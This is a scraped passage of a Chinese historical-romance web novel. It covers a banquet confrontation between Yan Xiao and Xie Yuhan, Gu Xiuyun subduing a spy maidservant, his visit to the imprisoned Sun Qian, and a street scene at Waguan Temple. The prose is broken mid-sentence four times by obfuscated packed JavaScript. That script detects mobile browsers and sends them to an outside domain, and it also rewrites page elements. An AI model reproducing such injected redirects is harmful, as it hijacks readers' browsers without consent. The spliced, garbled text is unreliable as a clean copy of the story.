0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286350|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“往前便是前院郎君们的宴席,谢三娘若是误入此地,当尽快离开的好。若是不巧也有郎君误入,遇到了谢三娘,传扬出去,可怎么是好?” 颜箫侧首,宁三郎的目光穿过月洞门投了过来,他神情似乎有些错愕,但很快恢复如常,轻轻颔首,身影迅速消失在粉墙之后,看来是个聪明人。 竹叶潇潇,偌大个庭院安静地仿佛只有颜箫一人。她轻叹一口气,耐心实在有限。 “谢三娘想来是被花草绊住了脚,既然如此,我只好去寻谢夫人前来相助。” 她作势要迈步,果然,竹林微动,从中走出一人。 谢玉含面色惨白,衣衫发丝被竹叶上的积水惹湿,瞧着更加狼狈,“你怎么知道我在这?” 颜箫笑了。 一阵簌簌振翅的扑棱声响起,有雨燕从湖石之中掠过,落在竹梢疏处,又划着弧线奔向院墙另一侧的飞檐,消失在视野之中,颜箫知道那里有一处燕儿窝。这里是她家,院中一草一木她再熟悉不过。 颜箫没有理会这话,盯着谢玉含刻意躲闪的双眼,半晌没说话。 谢玉含的面色白了青,青了红,不时还扭头四顾。 “你在等什么?等你的侍女吗?” 谢玉含倏地回头,死死盯着她,声音发颤,“你对她做了什么?你到底要做什么?” “我做什么?我还想问问谢三娘你要做什么。”颜箫冷然开口,“你以为你害得文茵声名俱毁,便可以嫁给梁小郎了吗?” 谢玉含神色陡变,“你为何会知道,是谁告诉你的!” “这很难猜吗?”颜箫轻笑。她方才忽然回想起当日在永寿殿后院水榭中的情形,谢玉含与郑月瑶的对话在耳边迅速回响,这才恍然大悟,因而才会用这话试探谢玉含,没想到果然猜对了。 谢玉含脸上露出几许颓败的神色,“我只是不甘心,凭什么,她柳文茵不过仗着自己有个好家世,便可以嫁给他,可她不配!我只不过是让人假装替梁小郎传话给她,她便毫不犹豫地来与他私会,他二人尚未定亲,她便这样不检点,如何配得上他!” “那宁三郎呢?你假借十二娘之名相邀宁三郎,对吗?”颜箫上前一步逼近她,“你守在一旁,待他二人相见时,你再找人撞破此事,这样两桩婚事便都岌岌可危了,好一个一箭双雕!若梁小郎知道你有这般歹毒心肠,你认为他会怎样看你?你这样做究竟为了什么?就为了你那点可怜的自尊心?” “对!没错!”谢玉含再也忍不住,“你们这些出身士族的蠹虫!我想要偏得不到,你们却唾手可得,凭什么?就因为我没有你们那样显赫的家世,我生在庶族,便也只能在寒门之中择婿,可笑!我谢玉含不比你们任何人差!” 颜箫一怔。 她一想到谢玉含为一己私欲不惜毁掉四个人的清白,怒气便涌上心头,心里有一大堆道理想要一句一句地说给她听,几乎要冲破胸膛。可当谢玉含歇斯底里地说出这些,她反而怒气尽消,那些话堵在喉咙中,却怎么也说不出。 “你走吧。”良久之后,她默然开口,“我不会揭穿你,但你最好确保今日能平安度过,若你仍心存歹念,我也不会再留情面。” 谢玉含眼圈发红,煞白的嘴唇轻颤,眼神中都透着怨恨,“你以为这样我就会感激你吗?” “无论如何,今日是我家设宴待客,我绝不允许有人搅扰。”颜箫语气凶狠,却别过脸不看她,“还不快走!” 谢玉含走了,颜箫却许久没动。 “阿姐!” 一道清脆童声将她的思绪拉回,她循声而望,通往前院的月洞门内,阿箢正兴奋地朝她挥手。 颜箫紧绷的眉头一松,正要抬步,忽然目光一滞。 阿箢不是一个人站在那里的,她身旁赫然还立着个高大的身影。那人宽肩窄腰,面容沉静。一身天青色衣衫,几乎要与身后的潇潇竹林融为一体。 18. 破危局 颜箫还在推测颜箢是何时跑到外院、他二人又是如何相识的,却见颜箢一边仰头对旁边的男人说着什么,连比带划,男人似是怕听不清,还微微弯身靠近她,俨然一副父女情深的模样。 男人微微一点头,阿箢便满脸兴奋,拖着他往院内的方向而来,也不知道她在兴奋些什么。 颜箫沉默的看着一大一小走到她跟前。 “阿姐,方才我找不到你了,是这个阿兄把我领回来的!” 到底是谁领着谁,颜箫看得真切。 她弯下身,视线与阿箢平齐,这才发现,阿箢手中还捏着捧狗尾草,被人编成了小兔的模样,两只茸茸的长耳迎着风轻摆。 颜箫一怔,她不记得阿箢会编狗尾草,难道…… 她难以置信地将目光移向静立在侧的男人,后者云淡风轻,看不出端倪。 阿箢捏着狗尾草,在颜箫面上扫来扫去,成功地转移了她的注意力。她被弄得发痒,忍不住咯咯一笑,将草兔从阿箢手中抽了出来。 “是嘛,那我们一起谢谢阿兄好不好?”她笑意未消,意有所指地瞟了男人一眼。 阿箢端正地福了一福,“二十一娘谢过顾家阿兄!” 顾家阿兄?颜箫睁大眼,就这么一会儿功夫,这小家伙连他姓甚名谁都知道了? 顾修昀大概来的路上和颜箢相谈甚欢,此时见到她,面上没有一丝意料之外的神情,“举手之劳,女郎不必言谢。” 他的声音低沉好听,眉眼之间浮现浅淡笑意,称得上温和。 颜箫将草兔插在阿箢腰间的小荷包内,唤来才回来的染春,“带二十一娘回内院。” 颜箢这会儿倒听话得很,也不问为什么,乖乖跟在染春身边,还不忘回头和顾修昀挥别,“阿兄再见!” 新雨初霁,厚重的云层破出一线光亮,露出一方透亮的碧空。他一身天青色箭袖衫,一如雨后晴空般清爽,不似金銮之上手握重权的奸佞,活脱脱一个温和有礼的谦谦君子。 少见他穿浅色,倒显得年轻不少,颜箫心中暗道。 “二十一娘年幼顽皮,司徒莫见怪。” “是顽皮了些。”顾修昀回想起这一路絮絮不停的阿箢,还拉着他东躲西藏,笑意加深,“不过女郎冰雪聪明,实在可爱。” 没想到他对小女郎竟有如此耐心,实在出人意料,难道他自己也有了女郎?颜箫纳罕。 “还未郑重谢过女郎那日林中相助。”顾修昀正了神色,躬身行了一礼。 “举手之劳,司徒不必言谢。”颜箫思绪被拉回,对于他这般客气感到有些意外,用他的话回应。 她将阿箢支开,实则是为了另一事,“司徒若是方才听到了什么,还请司徒看在当日相助的薄面上,莫将此事外传。” “为何?” 她不知道顾修昀何时来的,一时有些拿不准他究竟听到多少,索性同他挑明,二来也是试探。 “女子顾惜名节,纵有诸般不是,也不该传扬出去,引旁人来说三道四。” 顾修昀剑眉微挑,似乎有些意外,“她存心毁他人清誉,险些惹出祸事,还以庶族之身,公然叱骂女郎。女郎为何将她轻轻放过,又为何还要替她保全名声?” 他果然全听见了! 她轻声一叹,“不论士族庶族,她也不过只是个普通女郎。若我挟私报复,与她又有何异?” 顾修昀良久不语。 颜箫能察觉到他的目光落在她身上,却许久未听到他出声,不禁抬眸看他。 他眼中似有情绪,她辨不出,但急于得到一个答案,于是轻声催促,“不知司徒会否应允?” 顾修昀一笑,“女郎既如此说,我岂有不应之理。” “如此,便多谢顾司徒了。”颜箫心下稍安,“穿过月洞门外的竹林便可沿路回到前院,司徒还认得路吧?” * 逐客令下得太快,似乎将他当做洪水猛兽。客随主便,顾修昀顺从地踏上来时路。 茂密的竹林将云层中那一片微弱的碧空阻挡在外,氤氲未散的水汽反而平添几分寒意。顾修昀沿着小径走出不远,忽然停下脚步。 细微的翕动声从身后传来,如同林中梭行的蛇,吐着信子逼近。 裹着竹叶的风自他脑后袭来时,顾修昀反应极快地回身。眼前倏忽闪过一道身影,他尚未看清来人,一只手便已精准地扣住了对方高高扬起的手臂,轻轻一扭,只见银光一闪,有什么东西滚落进道旁泥土中。 是个匕首。 “啊——”那人一声痛呼,是个女声。 顾修昀分神去将那匕首踢远,却被对方抓住时机,半转过身,没有被钳制的手屈起,向他胸腹间猛力肘击。 顾修昀此时看清了来人,是个身量不高的妇女,她力量不够,似乎想用巧劲迫他松手。但顾修昀是何人,莫说一个弱女子,便是三个壮汉同时围上,他亦能转瞬脱困。 他顺势将手一松,闪身退向旁侧,躲过一击。而后飞起一脚,重重落在对方脊背上,只这一下,便将人击倒伏地。幸而今日穿的箭袖胡服,不然还真难施展。 那女子摔在地上,脊背快速起伏,顾修昀一脚踩住,伸手想抓起她撒落的发丝使她抬头,可手还未至后颈,忽听一声惊呼。 “别伤她性命!” 顾修昀抬头,月洞门内不知何时出现一道碧青色的身影,正是才分别不久的那位女郎。 女郎提着裙摆向他跑来,无意中踏入积水的坑洼,溅起浑浊的水珠,甩在她裙摆上,她也毫不在意,直至在他面前停下。 这毕竟是太傅家仆,顾修昀本也没想取那人性命,不然早在她挥起匕首的那一刻便已身首异处了。 他唇角一扯,“女郎且宽心,我还没丧心病狂到这种程度。” 颜箫正微微喘息,她还没来得及再次开口,顾修昀便先发制人。她不由得一怔,莫名从这话中听出几分落寞。 “我不是这个意思,我只是……”她只是想到了永寿殿后院那一幕,下意识脱口而出了。 但这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286351|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话不能说,她只能吃个哑巴亏,头一次体会到原来被人冤枉是这种感觉。 方才她目送顾修昀离开后,自己也转身向内院而去,走到半路,心中忽然没来由的涌上强烈不安。她停下脚步凝神细听,竟听到一声惊呼,很快便销声匿迹。 比陡然听到惊呼更可怕的是仅有一声惊呼。 她循着声音传来的方向奔向月洞门,才至近前,一柄匕首便擦着因落雨而变得格外光滑的青石板飞到她脚下,将她吓了一跳。而前方不远处的竹林中,两道身影正缠斗在一起,身量高的那人自然是顾修昀。 真不知他如何练就的,连这种时候都能做到沉着冷静、一言不发,手下动作也极快,她都没看清他是如何出手的,另一人便已伏地不起。 待看清另一人,颜箫蓦地睁大眼。 竟是李娘子! 颜箫喘匀了气,不可置信地与李娘子对视,却被对方眼神中的恨意惊得后退了一步。 顾修昀脚下一旋,使得李娘子调转了个方向,颜箫再看不到她阴毒的眼神。 “你……你是谁?你为何要这样?”颜箫还是个孩童时,李娘子便跟在周娘子身边,近十年了,她宁愿相信此人不是李娘子,也实在无法相信她柔弱的外表下包藏了如此狠毒的心肠。 李娘子背对着她嗬嗬地笑出声,却不发一言。 她被顾修昀踩住了脊背,胸膛压在地上,只有喉咙里发出嘶哑的笑声,不似人声,似断了弦的琴强自发出声响,实在骇人。 顾修昀弯身在她后颈一劈,她立时脖颈一软,扬着的头脱了力地垂下,再发不出一点声响。 “她怎么了?”颜箫惊问。 顾修昀扯下她腰间束带,快速地将她双手捆在身后,声音平淡,眼皮都没掀一下,“没死,晕了而已。” 颜箫看着他手脚利落地将人捆个结实,心中惊骇稍定,简单为他解释了一下,“她是我庶母身边的侍女,你们认识吗?她为何要对你下手?” 话一出口,颜箫便后悔。他若是知道为何,恐怕眼下也不会如此了。便是知道,也未必会告诉她。 顾修昀果然没作声,他垂眸不语,似乎想从李娘子的背影中探视出什么。 良久后,他站起身,“劳烦女郎去将太傅请来吧。” 颜箫脚下没动。 顾修昀“哦”了一声,“此事比起方才那件要严重些,恐怕无法替女郎保守秘密了。” 他神情严肃,可颜箫总觉得这话似乎是在促狭她。 ……他都险些命丧当场了,怎么还有闲心促狭她? 颜箫无言,转身就走,“我去请阿父。” 走出几步,又停下,似是才想起来,回身问他:“顾司徒没有受伤吧?” 顾修昀松开负在身后的双手,抬至身侧,从容地翻来覆去,无声展示给她看。 颜箫轻抿朱唇,收回视线。 将要迈过月洞门时,身后忽然又传来男人低沉的声音。 “女郎可知,她是西凉安插的细作。” 19. 釜底鱼 颜箫这夜半梦半醒,睡得并不安稳,一时梦到谢玉含跑到宴席上发疯,一时又梦到李娘子狞笑着将匕首插进她的腹部。直到后半夜,身披银甲的小郎君再次在梦中将她扶起,她这才沉沉睡去。 月色渐散,霞光漫天。 昨夜周娘子听说跟在自己身边多年的李娘子竟是西凉细作,还在颜氏的满月宴上行刺当朝司徒,吓得险些晕了过去,顾不得更深露重,连忙到东院檀氏跟前请罪。 李娘子是周娘子生下颜笳后自府外采办的侍女,昨日借口内院人手不足请她前去帮衬,才得以从周娘子房中溜出。 周娘子全然被蒙在鼓里,檀氏也没怪罪她,另从自己屋内拨去了个侍女,便让她回去安歇了。 李娘子由顾司徒亲自拎去了廷尉狱,但他行事隐蔽,并未让宾客察觉出异样,除了颜箫这个目击者,只有颜炳和檀氏知道内情,连颜笙都是宴散之后才知晓的。 午食过后,颜笙来到颜箫院中。 颜箫正在西窗下梳妆,眼下一片淡淡的乌青。他站在窗下,挡住了她面前的光亮,她抬起头瞧见他,无精打采地打了个招呼。 “阿兄午安。”尾音拖得长长的,实在没什么精神。 颜笙轻笑。 春日的天气比起夏日要讲理得多,昨日落了大半日的雨,今日便是碧空如洗的好光景。瓦官寺远远地响起八响钟声,在秦淮河畔的灰墙黛瓦间叠荡。 “想不想出门走走?”他隔窗问颜箫。 “去哪里?” “瓦官寺。” 颜箫想起来了,“听闻瓦官寺近日有西域游僧传授佛法,还讲些前朝的奇闻轶事。”旋即又狐疑,“阿兄怎么同意我去听书了?” “是不让你自己去。”颜笙面露微笑,“但今日是我带你去的。” “你带我去就可以?”颜箫忍不住声讨,“阿兄你好不讲理!” * 冯益动作倒快,一日便审结李娘子一案,顾修昀回府时,案卷已呈到了他桌案上。 不知是李娘子在颜家锦衣玉食太多年,受不住刑,还是她压根不打算隐瞒,总之进了廷尉狱一夜,她便将所有实情都吐露了出来。 顾修昀通篇看完,眉心微松,似是早有预料。 平娘子叩门而入。 “郎主昨日赴宴,可见着颜十一娘了?”她面带笑意问。 李娘子行刺一事顾修昀并未声张,因而除了岳陆,旁人并不知情。 他迟疑了一下,“太傅府地广,又是男女分席,并未见到府中女眷。” 平娘子面露遗憾,“可惜了,听说昨日的满月宴多半都是颜十一娘一力操持,办得又体面又妥当,真是个伶俐的女郎。” 平娘子整日不出门,也不知从哪里听来的这些。顾修昀还未开口,屋外便传来女郎怯懦的声音。 “郎主,含霜来奉茶。” 不等平娘子开门,门已被从外推开。 含霜一手捧着茶盏,一手去推门,茶盏似乎有些烫,她将门半推开便急急换了另一只手,手忙脚乱。 平娘子皱眉,语气中带了些责备,“女郎要谨记,没有郎主的允许,是不可以随意进入书房的。” 含霜没料到平娘子也在,愣了一愣,手中端着滚茶,似乎想退出去,但脚下又没动。 顾修昀扫了她一眼,阖上案卷,屈指敲了敲桌案,示意她将茶盏端来。 含霜心下一暖,知道他是在帮她解围,忙上前,“听闻郎主昨日赴宴,想必宿醉未消,今日庖厨特备下清茶,为郎主纾困。” 奉茶时,她的目光不经意落在他手边的那份案卷上,却因案卷被阖上,什么都没看到。 她又退了回来。 这段话她翻来覆去默念了好多遍,连郎主怎么回复她都想好了。可顾修昀只道了声谢,便没再问其他。 含霜抬眼偷觑端坐在桌案后的男子。 他正垂眸翻找着桌角堆积已久的文书,午后清澈的日光照在他半边侧脸上,另半边脸笼在眉骨和鼻梁投下的阴影中,将眼窝衬得更加深邃。 屋中燃着极淡的冷松香,清冽中透着苍凉,却又在让人难以靠近的疏冷中,窥出些遗世独立的纯净。 他豁然起身,将含霜的思绪拉回。 “郎主要出门?”她听见平娘子问道。 “嗯。”顾修昀应声,“让岳陆备车,随我出门。” 他说完便离开,那盏茶放在桌案上,仍燃着热气,却是一动没动。 * 廷尉狱最深一层地牢常年淌着血水,地牢密不透风,腥浊之气徘徊不散。烛火昏暗,仅有一扇小窗散落些天光,隐约能窥见外面的世界。 寻常人来到此处,早已皱着眉头,捏着鼻子,唯恐避之不及。 顾修昀缓步走在其间,却和行走在小园香径上没什么两样。 廊道尽头的牢房里,一个蓬头垢面的男子正盘膝坐在角落。 听到有脚步声传来,他睁开眼望向外面,平静地等待来人。 须臾间,待看清牢房外飘忽而至的一角绛紫色官袍时,他嘴角扯出一丝冷笑。 “我还当是谁呢,在这种地方还能如此闲庭信步,除了深受圣宠的顾司徒,还能有谁。” 顾修昀上前半步,半边棱角分明的脸便从黑暗中转至烛光下,幽微火光映在他肃然沉静的脸上,更显出森森冷意。 “数日不见,孙尚书过得可好?”顾修昀唇边有浅淡笑意,笑中却有几分讥讽。 孙迁早已被撤职,这声“孙尚书”,显然是有意嘲弄他。孙迁向后靠在石壁上,倒也从容。 “早就听说顾小将军治军严明,体恤下属,怎么到了建邺便转性了?”他抬起手臂,露出半截被血污染得发黑的半截残破衣袖,丝毫不介意提及自己眼下的窘迫,“敢问一句,顾司徒就是这般体恤下官的吗?” “孙尚书恐怕是有所误解,军中一向是奖惩有序,赏罚分明,对待罪有应得之人,却绝无宽宥。” “我或许是罪有应得,那你呢?也不过就是小人得志罢了。”孙迁头靠在石壁上,斜眼看他,好半晌,才不屑地冷嗤一声。 “我知道,你生平最恨背叛朝廷之人。当年凉州刺史勾结外敌,围剿怀远军。武威郡城破时,又在城下剿灭主将顾行之。这些都是许钧献计,你自然恨。杀了他还不够,你还要把一切与他有关的人都送进监牢。” 孙迁似乎想到了什么,忽然笑了出来,“这么多年想必你也猜到了,当年武威郡城下死的人应该是你。真是可惜啊,顾将军舍己为人,保住了你的性命,成全了顾司徒今日之高位。” 顾修昀的神情出乎意料的平静,只在他提到“主将顾行之”时,下颌猛地绷紧,瞳孔微缩。 他眼前仿佛又出现了那日的画面,细密的箭雨遮天蔽日地袭来,他弯弓搭箭,待要瞄准城楼上时,原本该在他斜前方半步的顾行之忽地冲到他近前,紧接着,一支金簇的羽箭便直入他喉间。 最后的画面,在初初事发的那几年里时常入梦,他一辈子也忘不掉。 这怔忪只有一瞬,顾修昀微松了眉头,淡声道。 “你觉得我是在报仇?” 这话问得孙迁一愣,他反问:“如今我落魄至此,家门破败,声名俱毁,从受人景仰一夕坠入泥潭,你所经历的一切,不是都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286352|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫我也体会一遭么?” 顾修昀像是听到了什么趣事,他笑了笑,笑意却不达眼底。 “孙尚书为官多年,想来应该知道,贩卖军火本就是重罪,只这一项,便足以让你万劫不复。孙尚书这样说,难道是觉得这一桩桩一件件,都是我捏造出来的不成?” 孙迁盯着他看了半晌,似乎想要分辨出他的态度,“难不成顾司徒当真要做个殚精竭虑,克己奉公的忠臣?”他扯了扯嘴角,讥笑道:“没想到司徒毕生所求竟是流芳百世,倒是下官狭隘了。” 顾修昀不置可否。 “你这么快就查到我头上,想来也是下了不少功夫。让我来猜猜,你一定是主张对我斩草除根,就如同你对许钧那样。但一定有人出来反对,反对的人之中,有士族,也有庶族,对吧?他们为何要力保我,你猜也猜得到吧。”他嗤笑,“敢问顾司徒,见了这些朝廷蠹虫的嘴脸,是否后悔当初冒着身败名裂的风险举兵谋逆呢?” 孙迁往后一靠,脊背贴在冰冷潮湿的墙壁上,斜眼看着外面紫袍加身的年轻男子。事到如今,他也不再伪装,明明已沦为阶下囚,却神色倨傲地仿佛他才是审讯者。 “天下没有不透风的墙,我知道我早晚有这一天,我也赚够了。在这建邺城中,我比泰半的人过得逍遥自在,人活一世,图的不就是这个?什么虚名,什么荣耀,生不带来,死不带去,没必要。” “而今你的愿望竟还是名垂青史,顾司徒,我真不知是该说你忠直还是天真。”孙迁靠在石壁上笑,此时反倒坦然,“你心里清楚,从你和你父亲起兵谋逆的那天起,就注定了你与青史无缘。崇治帝荒淫暴戾,可昏君仍是君,那是名正言顺的天子!先帝虽然贤名在外,但他是被贬出京的。你以为你救民于水火,可谁坐在这至尊之位上,对于那些愚钝百姓而言并无任何区别。世人只记得你顾修昀闯宫弑君,谁会记得你殚精竭虑?你不过是自我感动罢了!” “愚民自然不会理解你,可士族就会理解你吗?你以为你真正对抗的是昏君吗?你以为士族也和你一样,想要的是长治久安的太平盛世?你错了。” 牢狱中安静地落针可闻,许是因顾修昀前来,冯益提前遣退了外面轮值的侍卫,他二人交谈的这一盏茶的时间里,一个来打扰的人都不曾有。唯有牢房内高墙上的一个小窗,远远的传了些右御街上缥缈的市井喧哗,落在这昏暗而几欲腐烂的廷尉狱中,显得有些格格不入。 顾修昀沉默地听孙迁说完所有的话,他本以为自己会一句一句反驳回去,却最终什么也没说。 因为他清楚地知道,孙迁的每一句话都是对的。 这天下若是长治久安的天下,人们只会以为是这世道本该如此,没有人会知道当权执政者夙兴夜寐的勤勉。就如同边地,若是没有连年的征战,使百姓身处乱世,怀远军平战乱的威名、先帝护民生的贤名,便无人歌颂。 朝野之中亦是如此,清吏若要赢得圣心,便需有贪官做衬;廷尉若想立下司法公正的威名,便需作奸犯科者时时滋扰百姓。所谓水清无鱼,政察众乖,便是这个道理。 从前在凉州是这样,如今在建邺依然是这样。 长久的沉默后,顾修昀缓缓吐息,目光盯住牢中人。 “许氏那个籍没入宫的内侍家中有一亲姐,你知道吗?”他虽是问句,语气却笃定。 孙迁愣了一下,别过头去看向石壁,“我不知道。” 顾修昀一扯唇角,没再停留,头也不回的走出地牢。 冯益候在地牢门口,见他出来无声行礼。顾修昀停住脚步,回首望了一眼。 他无需辨明自身,对任何人都是。 20. 安神香 岳陆在廷尉府门前等候多时,见到顾修昀大步流星地走了出来,忙迎上去。 瞧他面色倦怠,也不知他和孙迁谈了什么,“郎主,回府吗?” 顾修昀捏捏眉心,“去瓦官寺。” 岳陆犹豫了一下。郎君整日为国事操劳,却从不为自己操劳过,若是让平娘子知道他由着郎主奔忙,定是要数落自己的。 可是他哪敢替郎主做决定呢,岳陆叹一口气。 马车辘辘行驶。 车内燃着安神香,本以为能叫人放松下来,可今日不知怎的,这安神香竟毫无帮助。 孙迁的话言犹在耳,才一安静下来,便如潮水般铺天盖地的袭来。顾修昀扯了扯官袍齐整的领口,试图让更多的新鲜空气不受任何束缚地灌入心肺。 一时不察,竟叫人往自己的软肋上不偏不倚地插了一刀。 三年来,他头一次对自己的决定有了片刻的动摇,没想到竟是因为一个垂死挣扎的阶下囚。 他轻轻一哂,无声的自嘲。 马车自新桥跨越秦淮河,绕至寺前街。 建邺城中佛寺众多,瓦官寺是南城最大的一座。百余年前曾有位潜心向佛的帝王,在江南兴建了大小庙宇无数,却又因连年的战火毁于一旦。瓦官寺因临近士族聚居之地,得以幸存至今,香火常年繁盛。 这几日有西域游僧来弘扬佛法,吸引了不少城中百姓,寺前街上摩肩接踵,车马冠盖如云。此时正逢一场讲学结束,从寺中涌出不少布衣平民,其中也不乏穿红着紫之人,边谈笑边各自四散开来,直将宽道上围得车马难行。 顾修昀的马车也一路走走停停,岳陆在前面疏散人群,还不忘伸长脖子打量寺内的光景。 “这张侍郎看人的本事不怎么样,倒是很会造势嘛!这才过去几天,就能闹得如此大阵仗。” 岳陆又张望片刻,“今日讲的好像是陈良贪军饷一案,倒是很应景。” 马车中,顾修昀仍阖着眼,一只手不轻不重地按揉着眉心。 耳畔有交谈声自窗外漏了进来。 “……原来西境十二州竟是因他丢失的,先前怎没听说过?” “自然是因为西境路途遥远,到建邺快马也要两个多月呢。我家侄儿曾在凉州服役,说一个州都有会稽郡那般大,连丢了十二州,那得是多大的罪过呀!” “可不,要不陈家怎么被夷了三族呢!” “陈良有罪,孙迁亦有罪!身在五兵部,竟敢与边将合谋,贪墨军饷,私售军火给夺去了西境十二州的西凉散军!如何对得起那些浴血沙场的将士!” “他倒是藏得好哇!陈良当年便被夷三族,孙迁竟一直安然无恙。幸而老天有眼,今次终于让他栽了跟头,以告慰战死沙场的英灵!” “我看众人也不必可怜那些戍边的将士,他们无非是身处苦寒之地罢了,实则得钱可比我们容易多了,而且那边多的是貌美的胡姬……啧啧,要是让我去待上十几年,我也愿去!” “为何得钱容易?” “为何?缺钱了就打仗呗!朝堂为保边境安定,每年大半的银钱都要拨给北方诸州。说是为整饬边防,实则钱到手了,谁还管你,不全进了自己腰包?孙迁不就是如此从中牟利。” 众人笑着打趣,“那也要跟对了主将,才能捞点肉吃,可不能遇上那个阎王,否则有你好看!” “非也,非也。那阎王原也是凉州怀远军中人,说不准比我们还会敛财呢!” 众人大笑。 岳陆实在听不下去,几次想上前,可望见顾修昀神色,还是强忍气愤,“郎主,我们回去吧!” 顾修昀轻揉眉心的手放了下来,换了个姿势,“不必。” “阿兄你说,边将们厉兵秣马、舍生忘死,在前线浴血奋战,难道不是为护一方百姓,而是为了领取丰厚的犒赏吗?” 车帘隔开市井喧嚣,女郎声音清脆,却有些沉郁。 顾修昀随意搭在窗边的手指一动,撩起帘子向外望去。 风细柳斜,落花满径,长街另一侧的夹道上,青衣的小娘子正和一个白袍青年并肩走在树荫下。 “自然不是。但试想,若只是压制强敌,而不是一举歼灭,既不会有伤亡惨重的大规模征战,又能定期出兵小范围的敲打敌寇,对于常年驻守的边将来说,甚至和日常操练军队没什么两样,却能领到朝廷下发的大笔可观的军饷,又能收获守土有功的名誉,那他们为何要拼死御敌呢?”颜笙的语气轻飘飘的。 “可是……边军戍守边关,是为保边境太平,百姓安稳,贸易繁荣,若是常年征战,即便只是小规模的敲打,也不能保证没有无辜百姓因此而家破人亡,这些便不管了吗?” 颜笙笑了,“阿箫,若是天下人都能像你一样,那古往今来便不会有百姓流离失所了。” 颜箫哑然,诚然他说的有理,她却没想到他竟能如此平静的说出这番话。 颜箫沉默半晌,“为官者尚能因为一己私欲而弃百姓民生于不顾,可当权者呢?他们也能坐看自己的江山日渐衰败,百姓民不聊生么?” “昏庸无能的君主,难道还少么?”颜笙反问。 颜箫难以置信地抬头看他,不光是为这话中的深意,更是因为颜笙点出了一个她从未想过的问题。 早些年崇治帝尚在位时,虽人人都说那是位庸碌昏聩的帝王,但她出身琅琊颜氏,生在锦绣堆中,不知天子庸碌意味着什么。皇权式微,门阀当道,无论当权者是否贤能,士族都能独善其身,以至于她从没想过,这世道究竟是个怎样的世道。 后来有人自凉州起兵反叛,崇治帝被逼写下退位诏书,先帝入主台城,京城一夕改朝换代。她就住在离台城不远的秦淮河畔,却没有一丝一毫的风吹草动传到内宅深闺,依然可以每日赏花游宴。那些事情从来不需要她知道。 颜箫如今才恍然醒悟,她并不是生在一个永远和平繁荣,始终海清河晏的盛世里,她只是生在了一个可以庇佑她的家族中。 她也从来不知道,那些在街头巷尾流传,在她常常偷跑去听的茶肆的故事中,那个举兵谋逆的叛臣、那个领千军自漠北长途奔袭直捣帝京又孤身一人闯入太极殿,将那沾满鲜血的长剑横在尚且揽着美人纤瘦腰肢的崇治帝脖颈之上,一字一句的逼着他写下那封退位诏书、后又逼迫他自尽的少年将军,他到底是个怎样的人。 选择在乱世中趋炎附势,明哲保身,亦或是背上倒行逆施的罪名,挽狂澜于既倒,只为许百姓一个长治久安的未来。这样的难题,历朝历代都要有人做出选择。 颜箫沉默,车中有人跟着一起沉默。 好半晌,她的声音才又传了过来。 “可是百姓需要这样的官,不为私欲,不惧污名,一心为民,无愧天地。对吧?有些事情总要有人去做,只要无愧于心,哪怕是不被别人认同和理解,也要去做。对吧?”她的声音中少了那份阴郁,转而变得振奋,满含信心。 “对,”颜笙的声音也染上了笑意,“每个入朝为官者,都该以成为这样的贤臣为己任。” 颜箫终于翘起了唇角,春日骄阳自枝叶的缝隙间漏下来,投在她白净的面容上,落在车中人的眼中,竟是如此的耀眼。 两人停在一个卖胶牙饧的路边摊位前,颜箫不知从哪里挑出一块做成兔子形状的胶牙饧,笑眯眯地对颜笙说了句什么,颜笙似被逗笑,拿出银两付钱。 捧着兔子的女郎似乎有所察觉,抬起头向这边望过来,略带疑惑的视线猝不及防便闯入车中人的眸光中。 顾修昀撩起帘子的手一瞬也不动,颜箫笑容一顿,极快地移开视线,似乎想当做无事发生,可很快又将视线移了回来。 四目相对间,还是她先弯起了眉眼,捧着那只丑兔子,遥遥向他端正行了一礼。 颜笙走在前面,见她没跟上来,停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286353|182612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住脚步轻唤她,她回头应了一声,然后朝顾修昀挥了挥手,随后一步三跳地跑回颜笙身边。 春日盛景中,少女的倩影明媚如朝阳。 顾修昀定定地看着那道背影消失在街角,才放下帘子,坐回了车里。 安神香气味悠长,仿佛有着不可思议的力量,逐渐抚平紧绷的神经。 他并非不懂民心向背,否则也不会默许张培兴以这样的方式去操纵民心,只是他向来不屑于这些手段。 然而他从没像现在这般,觉得民心所向是一件如此美好的事。 * 廷尉狱的行刑官颇有些手段,不出十日,李娘子便吐露了十数个细作的藏身之处,除了宫中和太傅府,连肃王身边竟都被安插了西凉细作。 